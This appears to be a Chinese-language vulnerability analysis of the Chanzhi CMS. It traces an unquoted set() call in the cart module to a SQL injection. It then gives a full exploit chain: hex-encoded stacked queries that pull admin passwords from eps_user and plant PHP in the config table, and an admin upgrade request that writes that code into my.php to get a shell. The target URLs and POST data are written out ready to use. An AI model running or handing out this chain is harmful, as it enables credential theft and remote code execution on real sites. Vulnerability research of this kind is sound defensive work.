禅知在传递参数的时候不是直接全局防护,而是先调用dao类,也就是禅知的数据库连接类,然后再调用其中的quote()进行转义。 ``` /** * 对字段加转义。 * Quote a var. * * @param mixed $value * @access public * @return mixed */ public function quote($value) { if($this->magicQuote) $value = stripslashes($value); return $this->dbh->quote((string)$value); } } ``` 所以如果进行数据库操作的时候没有调用quote()函数,而且其他操作数据库的函数本身也没有调用quote()的话,如set()就没有调用quote(),那么极有可能存在注入。 \system\module\cart\contral.php 中 add是处理添加购物车的函数 ``` 28 public function add($product, $count) { if($this->app->user->account == 'guest') { /* Save info to cookie if user is guest. */ $this->cart->addInCookie($product, $count); $this->send(array('result' => 'success', 'message' => $this->lang->saveSuccess)); } else { 38 $result = $this->cart->add($product, $count); if($result) $this->send(array('result' => 'success', 'message' => $this->lang->saveSuccess)); $this->send(array('result' => 'fail', 'message' => dao::getError())); } 42 } ``` 第38行调用cart模型类的add()函数 \system\module\cart\model.php ``` 23 public function...
禅知在传递参数的时候不是直接全局防护,而是先调用dao类,也就是禅知的数据库连接类,然后再调用其中的quote()进行转义。 ``` /** * 对字段加转义。 * Quote a var. * * @param mixed $value * @access public * @return mixed */ public function quote($value) { if($this->magicQuote) $value = stripslashes($value); return $this->dbh->quote((string)$value); } } ``` 所以如果进行数据库操作的时候没有调用quote()函数,而且其他操作数据库的函数本身也没有调用quote()的话,如set()就没有调用quote(),那么极有可能存在注入。 \system\module\cart\contral.php 中 add是处理添加购物车的函数 ``` 28 public function add($product, $count) { if($this->app->user->account == 'guest') { /* Save info to cookie if user is guest. */ $this->cart->addInCookie($product, $count); $this->send(array('result' => 'success', 'message' => $this->lang->saveSuccess)); } else { 38 $result = $this->cart->add($product, $count); if($result) $this->send(array('result' => 'success', 'message' => $this->lang->saveSuccess)); $this->send(array('result' => 'fail', 'message' => dao::getError())); } 42 } ``` 第38行调用cart模型类的add()函数 \system\module\cart\model.php ``` 23 public function add($productID, $count) { $hasProduct = $this->dao->select('count(id) as count')->from(TABLE_CART)->where('account')->eq($this->app->user->account)->andWhere('product')->eq($productID)->fetch('count'); if(!$hasProduct) { $product = new stdclass(); $product->product = $productID; $product->account = $this->app->user->account; $product->count = $count; $this->dao->insert(TABLE_CART)->data($product)->exec(); } else { 37 $this->dao->update(TABLE_CART)->set("count= count + {$count}")->where('account')->eq($this->app->user->account)->andWhere('product')->eq($productID)->exec(); } return !dao::isError(); 41 } ``` 在37行调用了dao类,set()函数传入了可控参数,并且没有用quote过滤,存在注入。 验证:   这里存在注入,如果要从eps_user获取数据,需要下划线,但是: ``` if(strpos($uri, '_') !== false) $uri = substr($uri, 0, strpos($uri, '_')); ``` 过滤了下划线。幸运的是可以堆叠查询。 所以可以 ``` set @a:=0x73656C6563742070617373776F72642066726F6D206570735F75736572206C696D697420313B;prepare s from @a;execute s; ``` 注入出后台账号密码后,可以在后台getshell /system/module/upgrade/ control.php ``` public function processSQL() { $this->upgrade->execute($this->post->fromVersion); ``` 跟进execute /system/module/upgrade/model.php ``` public function execute($fromVersion) { switch($fromVersion) { … case '5_5': $this->fixDetectDeviceConfig(); ``` 继续跟进fixDetectDeviceConfig /system/module/upgrade/model.php ``` public function fixDetectDeviceConfig() { $mobileTemplateConfigList = $this->dao->setAutoLang(false)->select('value, lang')->from(TABLE_CONFIG) ->where('`key`')->eq('mobileTemplate') ->fetchAll(); #var_dump($mobileTemplateConfigList);die(); if(!empty($mobileTemplateConfigList)) { $myFile = $this->app->getConfigRoot() . 'my.php'; file_put_contents($myFile, "\n", FILE_APPEND); foreach($mobileTemplateConfigList as $mobileTemplateConfig) { 2089 $fixedConfig = '$config->framework->detectDevice[' . "'{$mobileTemplateConfig->lang}'] = "; $fixedConfig .= $mobileTemplateConfig->value == 'open' ? 'true' : 'false'; $fixedConfig .= ";\n"; file_put_contents($myFile, $fixedConfig, FILE_APPEND); } } } ``` 其中2089行是从数据库中取出数据,拼接后写入文件,导致getshell 步骤: 写入一句话到数据库 ``` http://target/www/index.php/cart-add-1-1;set @a:=0x757064617465206570735f636f6e66696720736574206c616e673d275c275d3d313b706870696e666f28293b232720776865726520606b6579603d276d6f62696c6554656d706c617465273b;prepare s from @a;execute s;#.html ``` 从数据库中取出 ``` http://target/www/admin.php?m=upgrade&f=processSQL post:fromVersion=5_5 ```